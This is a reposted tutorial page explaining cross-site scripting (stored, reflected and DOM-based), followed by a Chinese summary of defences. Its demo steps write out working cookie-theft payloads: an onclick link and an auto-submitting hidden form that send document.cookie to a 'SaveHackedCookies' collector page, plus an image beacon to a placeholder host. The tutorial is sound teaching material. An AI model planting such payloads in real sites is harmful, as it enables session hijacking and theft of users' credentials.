Cross-Site Scripting (XSS)

XSS攻击详解
本文深入解析了跨站脚本攻击(XSS),一种常见的Web应用漏洞。XSS允许攻击者注入客户端脚本到网页中,当被其他用户查看时执行,从而绕过同源策略。文章详细介绍了XSS的三种类型:存储型、反射型和DOM型,并提供了实际案例,如PayPal和YouTube的XSS事件。此外,还讨论了XSS如何利用动态内容和用户输入,以及攻击者如何通过恶意代码篡改Web应用程序的数据上下文为代码上下文。
部署运行你感兴趣的模型镜像

Cross-Site Scripting (XSS)

What Is XSS?

  • Cross-site scripting (XSS) is a type of web application vulnerability that
    • enables the attackers to inject client-side script into web pages viewed by other users, and
    • upon the injected scripted is executed, to bypass the same origin policy.
      (Note: The same-origin policy cannot stop you from sending a request.)
  • XSS exploits web applications (e.g., blog, messageboard, etc.) with dynamic content that is produced from user inputs not validated or encoded. 
  • By injecting malicious code, XSS attacks turn the web applications from the data context into code context.
  • XSS isn't a direct attack against the Web application but rather an attack on the Web applications users.
  • If an attacker can place script anywhere in a vulnerable web application, the browser will believe that the script came from the vulnerable web application rather than the attacker. Thus, the injected script will run in the domain of the vulnerable web application and be able to do the following: 
    • Have access to read cookies used in that vulnerable web application
    • Be able to see the content of pages served by the vulnerable web application and send it to the attacker 
    • Change the way the vulnerable web application looks
    • Make calls back to the server who hosts the vulnerable web application
  • What to steal: session cookies, basic authorization credentials, source IP addresses, SSL certificates, Windows domain credentials, etc.
  • There are three known types of XSS:
    • Stored (server-side):
      • Malicious script is stored in a server resource such as a database.
      • By visiting the website, the script is executed.
    • Reflected (server-side):
      • Malicious script is transmitted to the victim via an email or similar mechanism.
      • By clicking on the link, the script is executed.
    • DOM-based (client-side): Attacks that modify the victims DOM directly and don't require data in the HTTP response.
  • Example incidents: PaypalYoutube.

DOM Exploited through JavaSrcipt 

  • Get/alter page contentdocument.getElementById('myAnchor').innerHTML
  • Get querystringlocation.search
  • Get cookiesdocument.cookie
  • Read locationdocument.location
  • Read/Write location: window.location.href
  • Extend page content: window.open

HTML Exploited through XSS 

  • <a> tag: <a οnclick="javascript" (requires a click)
  • <div> tag: <div style=background:url(javascript)>
  • <form> tag: <form action="logon.aspx" method="post" οnsubmit="javascript"></form>
  • <iframe> tag: <iframe src="javascript">
  • <object>: <object><param name="src" value="javascript"> </param></object>
  • <img> tag: <img src="javascript"> (1x1 px to be invisible or use Javascript to create an image object)
      <script>
         var image1 = new Image();
         image1.src = "http://host/?command";
      </script>
  • <script> tag: <script src="javascript">
  • <embed> tag: <embed src="javascript">

URL-Shortening Service

URL-shortening service like bit.ly, TinyURL, or goo.gl can provide a really helpful service for social network users, but its also a really useful service for XSS attackers to disguise the poisoned links.  For example, a long URL such as http://en.wikipedia.org/wiki/URL_shortening can be shorten to http://bit.ly/urlwikifor a redirect.
 

Reflected (First-Order) XSS 

  • A reflected HTML injection attack a web application which accepts user input in an HTTP request and responds with the identical user input within the body of the HTTP response.  
  • This type of XSS is "reflected" because it involves crafting a request containing embedded JavaScript which is reflected back to any user who makes the request. 
  • The attack payload is delivered and executed via a single request and response. For this reason, it is also sometimes referred to as first-order XSS.
  • Create the following link to send a victim's cookies to the hacker's website Demo 1:
    <a href="#" οnclick="document.location='http://localhost/XSSHackCookies/SaveHackedCookies.aspx?cookiesvalues=' +escape(document.cookie);" target=_blank>Click me</a>
     

    Aspect Security RXSS
    (source: Aspect Security)

Stored (Persistent) XSS

  • The XSS script is posted in web applications such as online message board, blog, and so on, and then "stored" by the server in the database permanently.
  • Since the XSS script is rendered automatically, individual victims are randomly targeted.
  • In social networking sites, the script would be further designed to self-propagate across accounts, creating a type of a client-side worm.
  • Steps in XSS attack Demo 2:
     

    SXSS

    1. Search a targeted web site simply places the user input back into the response. 
    2. Testing the page to see if it is possible to inject HTML and Javascript into the web page.
      <script>window.open("http://www.cnn.com")</script>
    3. Post injected scripts (GET)
      <a href="#" οnclick="document.location='http://localhost/XSSHackCookies/SaveHackedCookies.aspx?cookiesvalues=' +escape(document.cookie);" target=_blank>Click me</a>
      HTML encoded:
      &lt;a href=&quot;#&quot; οnclick=&quot;document.location=&#39;http://localhost/XSSHackCookies/SaveHackedCookies.aspx?cookiesvalues=&#39; +escape(document.cookie);&quot; target=_blank&gt;Click me&lt;/a&gt;
    4. Post injected scripts (POST)
      <form name='hackerform' method='POST' action='http://localhost/XSSHackCookies/savehackedcookies.aspx'>
      <script>
         document.write('<input type=hidden name=cookiesvalues value=');    
         document.write(document.cookie);
         document.write('>');
      </script>
      </form>
      <script>document.forms[0].submit()</script>
      HTML encoded:
      &lt;form name=&#39;hackerform&#39; method=&#39;POST&#39; action=&#39;http://localhost/XSSHackCookies/savehackedcookies.aspx&#39;&gt;
      &lt;script&gt;
         document.write(&#39;&lt;input type=hidden name=cookiesvalues value=&#39;);    
         document.write(document.cookie);
         document.write(&#39;&gt;&#39;);
      &lt;/script&gt;
      &lt;/form&gt;
      &lt;script&gt;document.forms[0].submit()&lt;/script&gt;

DOM-based XSS

  • Also called DOMXSS, local XSS or Type-0 XSS.
  • The attack payload is executed as a result of modifying the HTML Document Object Model (DOM) in the victim's browser used by the original client-side script of the page.
  • The DOM provides a structural representation of the HTML and XML document and enable the document's content and visual presentation to be modified by using a scripting language such as JavaScript.
  • The original DOMXSS paper by Amit Klein in 2005.
  • Webpage defacement: an attack on a website that changes the visual appearance on a webpage via DOM modification.
    • Payload: document.images[0].src
    • Webpage defacement is different from website defacement which is using the web server as the attack path.
  • Demo 3

Website Defacement

  • An attack on a website that changes the visual appearance of the site or a webpage. 
  • The attack is typically the work of system crackers, who break into a web server and replace the hosted website with their own.
  • The most common attack path is using SQL injections to gain administrative access to replace webpages.

Countermeasures

转载于:https://my.oschina.net/jms0755/blog/3077056

您可能感兴趣的与本文相关的镜像

Stable-Diffusion-3.5

Stable-Diffusion-3.5

图片生成
Stable-Diffusion

Stable Diffusion 3.5 (SD 3.5) 是由 Stability AI 推出的新一代文本到图像生成模型,相比 3.0 版本,它提升了图像质量、运行速度和硬件效率

Cross - Site ScriptingXSS)即跨站脚本攻击,因“Cross - site Scripting”的缩写“CSS”与“层叠样式表(Cascading Style Sheets)”冲突,为避免混淆,行业统一用 XSS 作为其简称[^1][^2]。 ### 定义 跨站脚本攻击是一种常见的 Web 安全漏洞,攻击者通过在目标网站注入恶意脚本,当用户访问该网站时,这些脚本会在用户的浏览器中执行,从而达到窃取用户信息等目的。 ### 原理 XSS 攻击的核心原理是 Web 应用程序对用户输入的内容未进行充分的过滤和验证,允许恶意脚本代码作为合法数据被包含在网页中。当其他用户访问包含恶意脚本的页面时,浏览器会执行这些脚本,使得攻击者可以获取用户的敏感信息,如会话令牌、用户名、密码等。 ### 核心类型 按触发方式区分,XSS 有三种核心类型。此外,还有一种特殊的类型 DOM - XSS - X,它结合了反射型 XSS 和 DOM 型 XSS 的特点。通常从浏览器的 URL 中获取输入数据,然后通过 JavaScript 操作 DOM 来执行恶意脚本。这种攻击方式类似反射型 XSS,通过 URL 参数传递恶意代码,但执行过程完全在客户端进行,无需服务器参与[^3]。 ### 危害 - **窃取用户信息**:攻击者可以利用 XSS 攻击获取用户的会话令牌、Cookie 等敏感信息,进而以用户的身份进行操作,如登录用户的账户、进行资金转移等。 - **网站钓鱼**:攻击者可以通过 XSS 攻击篡改网页内容,将用户引导至虚假的登录页面,骗取用户的用户名和密码。 - **传播恶意软件**:攻击者可以利用 XSS 攻击在网页中注入恶意软件的下载链接,当用户访问该页面时,可能会在不知情的情况下下载并安装恶意软件。 ### 防范措施 - **输入验证和过滤**:对用户输入的内容进行严格的验证和过滤,只允许合法的字符和格式通过。例如,使用白名单机制,只允许特定的字符和标签。 - **输出编码**:在将用户输入的内容输出到网页时,对其进行编码,将特殊字符转换为 HTML 实体,防止恶意脚本的执行。 - **设置 CSP(内容安全策略)**:通过设置 CSP 头,限制网页可以加载的资源来源,只允许从指定的域名加载脚本、样式表等资源,从而减少 XSS 攻击的风险。 - **HttpOnly 属性**:对于存储敏感信息的 Cookie,设置 HttpOnly 属性,使得 JavaScript 无法访问这些 Cookie,从而防止攻击者通过 XSS 攻击窃取 Cookie 信息。 ### 代码示例 以下是一个简单的 Python Flask 应用中对用户输入进行过滤的示例: ```python from flask import Flask, request, escape app = Flask(__name__) @app.route('/') def index(): user_input = request.args.get('input', '') # 对用户输入进行 HTML 转义 safe_input = escape(user_input) return f'你输入的内容是: {safe_input}' if __name__ == '__main__': app.run(debug=True) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值